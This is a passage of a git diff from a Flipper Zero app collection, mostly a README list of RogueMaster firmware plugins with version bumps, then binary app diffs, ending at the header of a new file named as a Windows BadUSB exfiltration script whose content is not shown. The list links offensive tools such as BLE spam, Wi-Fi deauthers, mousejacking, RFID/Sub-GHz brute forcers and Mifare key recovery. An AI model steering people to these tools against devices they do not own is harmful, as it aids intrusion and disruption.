Ka3u6y6a)](https://github.com/Ka3u6y6a/flipper-zero-dice) @@ -25,6 +26,8 @@ - [Etch-A-Sketch (By SimplyMinimal)](https://github.com/SimplyMinimal/FlipperZero-Etch-A-Sketch) - [Five Nights at Flipper's v1.2 (By sillygir1)](https://github.com/sillygir1/flipperzero-fnaf) - [Flappy Bird v1.1 (By DroomOne)](https://github.com/DroomOne/flipperzero-firmware/tree/dev/applications/flappy_bird) [Flappy: Border hitboxes, bigger Pilars (By TQMatvey)](https://github.com/DarkFlippers/unleashed-firmware/pull/114) [Increase pilars line width to improve visibility (By ahumeniy)](https://github.com/DarkFlippers/unleashed-firmware/pull/140) +- [Flipper Hero v1.1 (By mentoster)](https://github.com/mentoster/Flipper-hero) +- [Flippy Road v1.0 (By rkilpadi)](https://github.com/rkilpadi/flippy-road) - [Game of Life v1.1 (Updated to work by tgxn) (By itsyourbedtime)](https://github.com/tgxn/flipperzero-firmware/blob/dev/applications/game_of_life/game_of_life.c) - [Guess The Number v1.2 (By kWAYTV)](https://github.com/kWAYTV/guess-the-number-fz) - [Hangman v1.5 (By Evgeny Stepanischev & Eva Stepanischeva)](https://github.com/bolknote/Flipper-Zero-Hangman-Game) [With Anime Dictionary (By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/9f0385f14547be5a3bdbc85323399e8b01b27607) @@ -46,7 +49,7 @@ - [Reaction Test (By Milk-Cool)](https://github.com/Milk-Cool/fz-reaction-game) - [Reaction Time (By ihatecsv)](https://github.com/ihatecsv/flipper_reaction_time) - [Reversi v1.2 (By dimat)](https://github.com/dimat/flipperzero-reversi) -- [Rock Paper Scissors v1.4 (By CodeAllNight/jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/subghz/plugins/rock_paper_scissors) +- [Rock Paper Scissors v1.5 (By CodeAllNight/jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/subghz/plugins/rock_paper_scissors) - [Rock Paper Scissors 2 v1.0 (By benwoo1110)](https://github.com/benwoo1110/rps-FlipperZero) - [Root of Life v1.1 (By Xorboo)](https://github.com/Xorboo/root-of-life) - [Rubiks Cube Scrambler v1.3 (By RaZeSloth)](https://github.com/RaZeSloth/flipperzero-rubiks-cube-scrambler) @@ -73,28 +76,30 @@ - [Vexed v1.0.1 (By dlvoy)](https://github.com/dlvoy/flipper-zero-vexed) - [Video Game Module Tool v1.2 (By gsurkov)](https://github.com/flipperdevices/flipperzero-good-faps/pull/127) `Req: Video Game Module By Flipper Devices` - [Video Poker v1.2 (By PixlEmly)](https://github.com/PixlEmly/flipperzero-firmware-testing/blob/420/applications/VideoPoker/poker.c) +- [Yappy Invaders (By dagnazty)](https://github.com/dagnazty/Yappy_Invaders) - [Yatzee v1.1 (By emfleak)](https://github.com/emfleak/flipperzero-yatzee) - [Zero v1.4 (By Racso)](https://github.com/Racso/fzero-apps) - [Zombiez v1.1 (Reworked By DevMilanIan)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/240) [(Original By Dooskington)](https://github.com/Dooskington/flipperzero-zombiez) ## Plugins -- [Analog Clock v1.1 (By scrolltex)](https://github.com/scrolltex/flipper_analog_clock) +- [Analog Clock v1.2 (By scrolltex)](https://github.com/scrolltex/flipper_analog_clock) - [Atomic Dice Roller v1.1 (By nmrr)](https://github.com/nmrr/flipperzero-atomicdiceroller) -- [Authenticator/TOTP v5.12.0 (By akopachov)](https://github.com/akopachov/flipper-zero_authenticator) -- [AVR Flasher (By Skorpionm)](https://github.com/flipperdevices/flipperzero-firmware/pull/2475) +- [Authenticator/TOTP v5.13.0 (By akopachov)](https://github.com/akopachov/flipper-zero_authenticator) +- [AVR Flasher v1.2 (By Skorpionm)](https://github.com/flipperdevices/flipperzero-firmware/pull/2475) - [AZERTY Mouse Jacker (By mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) `Req: NRF24` (Uses AZERTY keyboard - Source Unknown) - [Bad KB (Modified PR#738 from pengu1ndev - Original from Willy-JL) #739 (By ESurge)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/739) -- [Barcode App (By Kingal1337)](https://github.com/Kingal1337/flipper-barcode-generator) +- [Barcode App v1.2 (By Kingal1337)](https://github.com/Kingal1337/flipper-barcode-generator) - [BarCode Scanner Emulator (By polarikus)](https://github.com/polarikus/flipper-zero_bc_scanner_emulator) `Uses: COM-port` - [Battery Checker (By Programistich)](https://github.com/Programistich/battery_checker) - [BG Loader (By twisted-pear)](https://github.com/twisted-pear/bgloader) - [BlackJack Counter v1.0 (By grugnoymeme)](https://github.com/grugnoymeme/flipperzero-blackjack_counter-fap) -- [BLE Spam v5.1 (By Willy-JL & ECTO-1A & Spooks4576 with research from xMasterX; OFW API thanks to noproto)](https://github.com/noproto/apple_ble_spam_ofw) +- [BLE Spam v6.2 (By Willy-JL & ECTO-1A & Spooks4576 with research from xMasterX; OFW API thanks to noproto)](https://github.com/Next-Flip/Momentum-Apps/tree/dev/ble_spam) - [Bluetooth/USB Remote v1.7 (By Cutch)-OFW](https://github.com/flipperdevices/flipperzero-firmware/pull/1330) [Accelerated Mouse Pointer (By LeeroysHub)](https://github.com/LeeroysHub/flipperzero-firmware-wPlugins/commit/f67680d5b004a72419550a8268802030a8421643) -- [BMI Air Mouse v0.9 (By ginkage)](https://github.com/ginkage/FlippAirMouse/) `Req: BMI160` +- [BMI Air Mouse v1.1 (By ginkage)](https://github.com/ginkage/FlippAirMouse/) `Req: BMI160` - [BPM Tapper v1.1 (By panki27)](https://github.com/panki27/bpm-tapper) - [Brainfuck v1.2 (By nymda)](https://github.com/nymda/FlipperZeroBrainfuck) +- [BT Remote for Kodi v1.1 (Remixed By coded-with-claws)](https://github.com/coded-with-claws/flipperzero-tools/tree/main/applications_user/bt_hid_kodi) - [BT Trigger (By Nem0oo)](https://github.com/Nem0oo/flipper-zero_ios-bluetooth-trigger) - [Calculator v1.1 (By n-o-T-I-n-s-a-n-e)](https://github.com/n-o-T-I-n-s-a-n-e) - [Calendar (By Adiras)](https://github.com/Adiras/flipperzero-calendar) @@ -105,7 +110,7 @@ - [CFW Settings - Imported/Modified By RogueMaster (By Willy-JL)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/ecf91524a956f773881d564c4ada833f844264ca) - [Chronometer (By nmrr)](https://github.com/nmrr/flipperzero-chronometer) - [CLI Bridge (By ranchordo)](https://github.com/ranchordo/flipperzero-cli-bridge) -- [Clock (By kowalski7cc)](https://github.com/kowalski7cc/flipperzero-firmware/tree/clock-v1) +- [Clock v1.1 (By kowalski7cc)](https://github.com/kowalski7cc/flipperzero-firmware/tree/clock-v1) - [Coffee-EEPROM (By wh00hw)](https://github.com/wh00hw/Coffee-EEPROM-FAP) For ethical pentest only. - [Continuity Tester (By benallen-dev)](https://github.com/benallen-dev/flipper-zero-apps/tree/main/continuity) - [Control 7-segment display with Flipper Zero (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio) @@ -115,10 +120,11 @@ - [Crypto Dictionary v0.1 (By armixz)](https://github.com/armixz/Flipper-Zero-Crypto-Dictionary) - [Dab Timer v1.9.1 (By RogueMaster)](https://github.com/RogueMaster/flipperzero-dabtimer) - [DAP Link v1.2 (By DrZlo13)-OFW](https://github.com/flipperdevices/flipperzero-firmware/pull/1897) -- [DCF77 Transmitter v1.1 (By arha)](https://github.com/arha/flipper-dcf77) +- [DCF77 Clock Sync v1.3 (By mdaskalov)](https://github.com/mdaskalov/dcf77-clock-sync) +- [DCF77 Transmitter v1.2 (By arha)](https://github.com/arha/flipper-dcf77) - [Deauther PWNDTOOLS V2.6.0 (By HEX0DAYS)](https://github.com/HEX0DAYS/FlipperZero-PWNDTOOLS) `Req: ESP8266` [Original](https://github.com/SpacehuhnTech/esp8266_deauther) - [Device Info (By hedger)](https://github.com/hedger/flipperdevinfo) -- [Digimon F-Com v1.1 (By TylerWilley)](https://github.com/TylerWilley/flipper-f-com) +- [Digimon F-Com v1.2 (By TylerWilley)](https://github.com/TylerWilley/flipper-f-com) - [Distance Sensor v1.2 (By privet971)](https://github.com/privet971/FlipperZeroApps/tree/main/usping) `Req: Parallax (3 wires) SKU 28015` - [Distance Sensor v1.1 (By Sanqui)](https://github.com/Sanqui/flipperzero-firmware/tree/hc_sr04) `Req: HC-SR04` Ported/Modified by xMasterX - [Dolphin Trainer (By nymda)](https://github.com/nymda/FlipperAntidepressants) (Change Flipper level, experience and butthurt) [Level Changer (By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/96b67d9d53b5a70e85f8bdd81dcbc602f90d46cd) @@ -126,7 +132,7 @@ - [DTMF Dolphin v1.2 (By litui)](https://github.com/litui/dtmf_dolphin) - [EM4100 Key Generator v1.1 (By Milk-Cool)](https://github.com/Milk-Cool/fz-em4100-generator) - [Enhanced Sub-Ghz Chat v1.2 (By twisted-pear)](https://github.com/twisted-pear/esubghz_chat) -- [ESP32 Camera Suite v1.6 (By CodyTolene)](https://github.com/CodyTolene/Flipper-Zero-Camera-Suite) +- [ESP32 Camera Suite v1.7 (By CodyTolene)](https://github.com/CodyTolene/Flipper-Zero-Camera-Suite) - [ESP Flasher v1.5 (By 0xchocolate)](https://github.com/0xchocolate/flipperzero-esp-flasher) - [ESP WiFi Scanner v1.1 (By SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-WiFi-Scanner_Module-ESP8266) `Req: ESP8266 or ESP32` - [ESP32 Gravity v0.6.0 (By chris-bc)](https://github.com/chris-bc/Flipper-Gravity) `Req: ESP32` @@ -143,6 +149,7 @@ - [EXTRA Demo (By Milk-Cool)](https://github.com/Milk-Cool/EXTRA-demo) (This app has VERY useful functions!) - [FAP Boilerplate (By leedave)](https://github.com/leedave/flipper-zero-fap-boilerplate) - [Financial Calculator v1.0 (By schaene)](https://github.com/schaene/Flipper-Financial-Calculator) +- [FindMy Flipper v2.0 (By MatthewKuKanich)](https://github.com/MatthewKuKanich/FindMyFlipper) - [Flashlight v1.1 (By xMasterX)](https://github.com/xMasterX/flipper-flashlight) - [Flipagotchi WIP (By Matt-London)](https://github.com/Matt-London/pwnagotchi-flipper) - [FlipBoard Blinky v2.1 (By jamisonderek)](https://github.com/jamisonderek/flipboard) @@ -181,11 +188,17 @@ - [Logic Analyzer (By g3gg0)](https://github.com/g3gg0/flipper-logic_analyzer) - [LORA Terminal (By aafksab)](https://github.com/aafksab/LORA-Term) - [MagSpoof (By zacharyweiss)](https://github.com/zacharyweiss/magspoof_flipper) [(Updates By hummusec)](https://github.com/hummusec/magspoof_flipper) Works without NFC. +- [MALVEKE GAME BOY ADVANCE Cartridge v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gba_cartridge) `Req: Malveke` +- [MALVEKE GAME BOY Cartridge (GB/GBC) v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_cartridge) `Req: Malveke` +- [MALVEKE GAME BOY Emulator v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_emulator) `Req: Malveke` +- [MALVEKE GAME BOY Link-Camera v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_link_camera) `Req: Malveke` +- [MALVEKE GAME BOY Live Camera v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_live_camera) `Req: Malveke` +- [MALVEKE GB Photo v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_photo) `Req: Malveke` +- [MALVEKE PIN Test v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_pin_test) `Req: Malveke` - [MAX31855 (By skotopes)](https://github.com/skotopes/flipperzero_max31855) - [Metronome v1.1 (By panki27)](https://github.com/panki27/Metronome) - [MFC Editor v1.0 (By TollyH)](https://github.com/TollyH/flipper-apps) -- [Mfkey32 v1.2 (By noproto)](https://github.com/noproto/FlipperMfkey) -- [Mfkey32 With Nested v1.0 (By noproto)](https://github.com/noproto/FlipperMfkey) +- [Mfkey v2.0 (By noproto)](https://github.com/noproto/FlipperMfkey) - [MH-Z19 CO2 Sensor v0.2 (By meshchaninov)](https://github.com/meshchaninov/flipper-zero-mh-z19) - [MH-Z19 UART (By skotopes)](https://github.com/skotopes/flipperzero_mhz19_uart) - [Mifare Fuzzer v1.3 (By spheeere98)](https://github.com/spheeere98/mifare_fuzzer) @@ -200,10 +213,10 @@ - [Mx2125 Dual-Axis Accelerometer (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio) - [Mx2125 Step Counter v1.0 (By 47lecoste a.k.a. grugnoymeme)](https://github.com/grugnoymeme/flipperzero-stepcounter-fap) - [Name Changer (By ESurge)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/488) (Change Flipper name) -- [NFC Magic v1.5 (By gornekich)](https://github.com/flipperdevices/flipperzero-firmware/pull/1966) +- [NFC Magic v1.6 (By gornekich)](https://github.com/flipperdevices/flipperzero-firmware/pull/1966) - [NFC Maker v1.2 (by Willy-JL)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/343cb39d08f60b75b537e1a31100707935cf6e9d) - [NFC Playlist v1.4 (By acegoal07)](https://github.com/acegoal07/FlipperZero_NFC_Playlist/tree/main) -- [NFC Seader v2.4 (By bettse)](https://github.com/bettse/seader) +- [NFC Seader v2.6 (By bettse)](https://github.com/bettse/seader) - [Nightstand Clock v1.1 (By nymda)](https://github.com/nymda/FlipperNightStand) - [Notes for FZ WIP (By AdrianN001)](https://github.com/AdrianN001/Flipper-Zero-Note-Application) - [NRF Sniff v1.1 (By mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/nrfsniff) ([Pin Out](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/tree/420/applications/nrfsniff) from nocomp/Frog/UberGuidoZ) `Req: NRF24` @@ -217,23 +230,24 @@ - [PC Monitor v1.1 (By TheSainEyereg)](https://github.com/TheSainEyereg/flipper-pc-monitor) _Req: [Backend](https://github.com/TheSainEyereg/flipper-pc-monitor-backend)_ - [Pet a Dolphin (By ugeneSmile)](https://github.com/EugeneSmile/PetADolphin) - [pForth (By twisted-pear)](https://github.com/twisted-pear/f0forth) -- [PicoPass (iClass) v1.13 (By Bettse)](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/picopass) [PicoPass Emulation (By nvx)](https://github.com/nvx/flipperzero-firmware/tree/picopass_emulation) +- [Pi Terminal v1.0 (By dagnazty & InfoSecREDD)](https://github.com/InfoSecREDD/Flip-pi) +- [PicoPass (iClass) v1.13 (By Bettse)](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/picopass) - [Plantower PMSx003 sensor reader v1.2 (By 3cky)](https://github.com/3cky/flipperzero-airmon) `Req: Plantower PMS5003/PMS7003/PMS9003` - [POCSAG Pager v1.2 (By XMasterx & Shmuma)](https://github.com/xMasterX/flipper-pager) -- [Pokemon Trading v1.7 (By EstebanFuentealba & kbembedded)](https://github.com/EstebanFuentealba/Flipper-Zero-Game-Boy-Trading-Pokemons) +- [Pokemon Trading v1.8 (By EstebanFuentealba & kbembedded)](https://github.com/EstebanFuentealba/Flipper-Zero-Game-Boy-Trading-Pokemons) - [Pomodoro Timer v1.2 (By sbrin)](https://github.com/sbrin/flipperzero_pomodoro) - [Pomodoro 2 v1.3 (By Th3Un1q3)](https://github.com/Th3Un1q3/flipp_pomodoro) -- [Programmer Calculator v0.9 (By armixz)](https://github.com/armixz/Flipper-Zero-Programmer-Calculator) +- [Programmer Calculator v0.9.2 (By armixz)](https://github.com/armixz/Flipper-Zero-Programmer-Calculator) - [Protocol Visualizer v1.1 (By antirez)](https://github.com/antirez/protoview) -- [UHF RFID WIP v1.1 (By frux-c)](https://github.com/frux-c/uhf_rfid) `Req: M100 or QM100` - [QR Code v2.0 (By bmatcuk)](https://github.com/bmatcuk/flipperzero-qrcode) +- [Quac! v0.4 (By rdefeo)](https://github.com/rdefeo/quac) - [Radar Scanner v2.0 (By MatthewKuKanich)](https://github.com/MatthewKuKanich/flipper-radar) `Req: RCWL-0516` - [Radiation Sensor (By sionyx)](https://github.com/sionyx/flipper_radsens) `Req: RadSens` - [RC2014 ColecoVision (By ezod)](https://github.com/ezod/flipperzero-rc2014-coleco) - [RCWL-516 Motion Sensor (By ahmedafe1)](https://github.com/ahmedafe1/rcwl_0516-Flipperzero) - [Remote Maker (By gid9798)](https://github.com/DarkFlippers/unleashed-firmware/pull/487) - [Resistance Calculator v1.2 (By instantiator)](https://github.com/instantiator/flipper-zero-experimental-apps) -- [Restaurant Pager Trigger v1.3 (By leedave)](https://github.com/leedave/flipper-zero-meal-pager) +- [Restaurant Pager Trigger v1.4 (By leedave)](https://github.com/leedave/flipper-zero-meal-pager) - [RFID Beacon (By nmrr)](https://github.com/nmrr/flipperzero-rfidbeacon) - [RFID Detector v1.2 (By Skorpionm)](https://github.com/flipperdevices/flipperzero-firmware/pull/2795) - [RFID Fuzzer v1.3 (By gid9798)](https://github.com/DarkFlippers/unleashed-firmware/pull/507) [(Original By Ganapati)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/245) @@ -250,6 +264,7 @@ - [Skeleton App v1.1 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/ui/skeleton_app) - [Smack My Dolphin Up! (By siberianbot)](https://github.com/siberianbot/smack-my-dolphin-up) - [Spectrum Analyzer v1.2 (By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) [Updates (for testing) Thanks to theY4Kman](https://github.com/theY4Kman/flipperzero-firmware) +- [Spotify Remote v0.1 (By benjamindrussell)](https://github.com/benjamindrussell/flipper-spotify-remote) `Req: ESP32` with [ESP32 Spotify Remote](https://github.com/benjamindrussell/esp32-spotify-remote) - [SPI Mem Manager v1.3 (By drunkbatya)-OFW](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/spi_mem_manager) - [Sub-GHz Bruteforcer v3.11.1 (By Ganapati/xMasterX/derskythe)](https://github.com/derskythe/flipperzero-subbrute/tree/master) - [Sub-GHz Playlist (By darmiel)](https://github.com/darmiel/flipper-playlist) @@ -265,46 +280,39 @@ - [TPMS Reader (By wosk)](https://github.com/wosk/flipperzero-tpms) - [TuLlave v1.0 (By zqu4rtz)](https://github.com/zqu4rtz/FlipperApp-TuLlave) - [Tuning Fork v1.1 (By besya)](https://github.com/besya/flipperzero-tuning-fork) +- [u-blox GPS v0.4 (By liamhays)](https://github.com/liamhays/ublox) - [UART Echo (By DrZlo13)-OFW](https://github.com/flipperdevices/flipperzero-firmware/pull/831) - [UART Terminal v1.4 (By cool4uma)](https://github.com/cool4uma/UART_Terminal) -- [u-blox GPS v0.2 (By liamhays)](https://github.com/liamhays/ublox) +- [UHF RFID WIP v1.1 (By frux-c)](https://github.com/frux-c/uhf_rfid) `Req: M100 or QM100` - [USB Consumer Control (By WithSecureLabs)](https://github.com/WithSecureLabs/usb-consumer-control) - [USB HID Autofire (By pbek)](https://github.com/pbek/usb_hid_autofire) - [USB Mass Storage v1.3 (By nminaylov)](https://github.com/flipperdevices/flipperzero-good-faps/tree/nm/usb_mass_storage_app/mass_storage) [Based on OFW#1060 (By kevinwallace)](https://github.com/flipperdevices/flipperzero-firmware/pull/1060) - [USB Midi (By DrZlo13)](https://github.com/DrZlo13/flipper-zero-usb-midi) [Instructions by ESurge](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/420/applications/plugins/usb_midi/ReadMe.md) -- [VGM Air Mouse v1.1 (By nminaylov)](https://github.com/flipperdevices/flipperzero-good-faps/tree/nm/motion_mouse_app) `Req: ICM42688, or Video Game Module By Flipper Devices` +- [VGM Air Mouse v1.2 (By nminaylov)](https://github.com/flipperdevices/flipperzero-good-faps/tree/nm/motion_mouse_app) `Req: ICM42688, or Video Game Module By Flipper Devices` - [Video Player v0.3 (By LTVA1)](https://github.com/LTVA1/flipper-zero-video-player) -- [Wardriver GPS v1.0 (By Sil333033)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/d4f7c1406dfdfa2768983e8723f5f2f6639aeefe) +- [Voltage Calculator v1.0 (By HappyAmos)](https://github.com/HappyAmos/Flipper_FAPS) +- [Wardriver GPS v1.0 (By Sil333033)](https://github.com/Next-Flip/Momentum-Apps/tree/dev/wardriver) - [WAV Player v1.1 (By DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) Updated by Atmanos & RogueMaster To Work. [Updated by xMasterX](https://github.com/DarkFlippers/unleashed-firmware/commit/76d3f84a5eb069b749e3ad20df6fdbbc785eb253) - [WAV Recorder (By scrolltex)](https://github.com/scrolltex/flipper-wav-recorder) - [WHC SWIO Flasher v1.0 (By sukvojte)](https://github.com/sukvojte/wch_swio_flasher) - [Weather Station v1.5 (By Skorpionm)-OFW](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/weather_station) - [Wiegand Reader v1.3 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio) - [WiFi (Deauther) V2 (By Timmotools)](https://github.com/Timmotools/flipperzero_esp8266_deautherv2) `Req: ESP8266` -- [WiFi (Marauder) v7.0 (By 0xchocolate & tcpassos)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) `Req: ESP32 WITH MARAUDER FLASHED` [ESP32 MARAUDER Firmware](https://github.com/justcallmekoko/ESP32Marauder/releases/latest) +- [WiFi (Marauder) v0.7.1 (By 0xchocolate & tcpassos)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) `Req: ESP32 WITH MARAUDER FLASHED` [ESP32 MARAUDER Firmware](https://github.com/justcallmekoko/ESP32Marauder/releases/latest) - [Wifi Mapping (By carvilsi)](https://github.com/carvilsi/flipper0-wifi-map/tree/main) `Req: ESP32` - [Wii EC Analyzer v1.1 (By csBlueChip)](https://github.com/csBlueChip/FlipperZero_WiiEC) - [Wire Tester v1.1 (By unixispower)](https://gitlab.com/unixispower/flipper-wire-tester) - [WS2812B LED Tester v1.9 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio/ws2812b_tester) -- [XRemote v1.2 (By kala13x)](https://github.com/kala13x/flipper-xremote) +- [XRemote v1.3 (By kala13x)](https://github.com/kala13x/flipper-xremote) - [YuriCable Pro Max v0.3 (By arag0re)](https://github.com/arag0re/fz-yuricable-pro-max) ## COMMENTED OUT / NOT COMPILED DUE TO ISSUES - If you can fix any of these, DM me on Discord for a surprise reward. - [APRS Cln Hello World (By NSV47)](https://github.com/NSV47/APRS_hello_world_clean) -- [BT Remote for Kodi (Remixed By coded-with-claws)](https://github.com/coded-with-claws/flipperzero-tools/tree/main/applications_user/bt_hid_kodi) - [BT Serial (By maybe-hello-world)](https://github.com/maybe-hello-world/fbs) - [BT Toy Serial (By maybe-hello-world)](https://github.com/maybe-hello-world/flipper-bp) - [Cookie Clicker v1.0 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/hid/hid_cookie) -- [MALVEKE GAME BOY ADVANCE Cartridge v1.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gba_cartridge) `Req: Malveke` -- [MALVEKE GAME BOY Cartridge (GB/GBC) v1.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_cartridge) `Req: Malveke` -- [MALVEKE GAME BOY Emulator v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_emulator) `Req: Malveke` -- [MALVEKE GAME BOY Link-Camera v1.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_link_camera) `Req: Malveke` -- [MALVEKE GAME BOY Live Camera v1.3 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_live_camera) `Req: Malveke` -- [MALVEKE GB Photo v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_photo) `Req: Malveke` -- [MALVEKE PIN Test v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_pin_test) `Req: Malveke` -- [Mifare Nested v1.5.2 (By AloneLiberty)](https://github.com/AloneLiberty/FlipperNested) - [NFC Relay WIP (By leommxj)](https://github.com/leommxj/nfc_relay) - [SCD30 Carbon Dioxide Sensor (By heimskr)](https://github.com/heimskr/flipperzero-scd30) - [TAS Playback (By rcombs)](https://github.com/rcombs/tas-playback) @@ -321,4 +329,4 @@ - [Desktop Favorite Binds To Allow Opening Custom Game Menu. Whomever can complete this gets 3 months of subscriber builds. Patrons can DM me to add their monthly towards this bounty.](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/756) - `Bluetooth Audio` APP to allow flipper to pair to external speaker or headphones for wav/mp3 playback ($200 USD in ETH or BTC) (Don't think this is possible) -# Install GitHub Version With [WEB INSTALLER](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM0229-1532-0.98.4-db50161.tgz&channel=RM0229-1532-0.98.4-db50161&version=0.98.4) +# Install GitHub Version With [WEB INSTALLER](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM0321-1526-0.99.2-e78d0d7.tgz&channel=RM0321-1526-0.99.2-e78d0d7&version=0.99.2) diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77.fap index d6b42701..4e0198f3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77_clock_sync.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77_clock_sync.fap new file mode 100644 index 00000000..5cb8a9b8 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77_clock_sync.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/em4100_key_generator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/em4100_key_generator.fap index e38d44ce..5a090386 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/em4100_key_generator.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/em4100_key_generator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/lfrfid.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/lfrfid.fap index 77aebfb4..04e983dd 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/lfrfid.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/lfrfid.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/nfc_rfid_detector.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/nfc_rfid_detector.fap index 613c2d6c..288e2fba 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/nfc_rfid_detector.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/nfc_rfid_detector.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_beacon.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_beacon.fap index 72d9a371..a533bd84 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_beacon.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_beacon.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_fuzzer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_fuzzer.fap index d820e1f4..46631569 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_fuzzer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_fuzzer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/t5577_multiwriter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/t5577_multiwriter.fap index d5f5bc3b..447f8e99 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/t5577_multiwriter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/t5577_multiwriter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js new file mode 100644 index 00000000..25c8483d --- /dev/null +++ b/Applications/Custom (UL, RM, 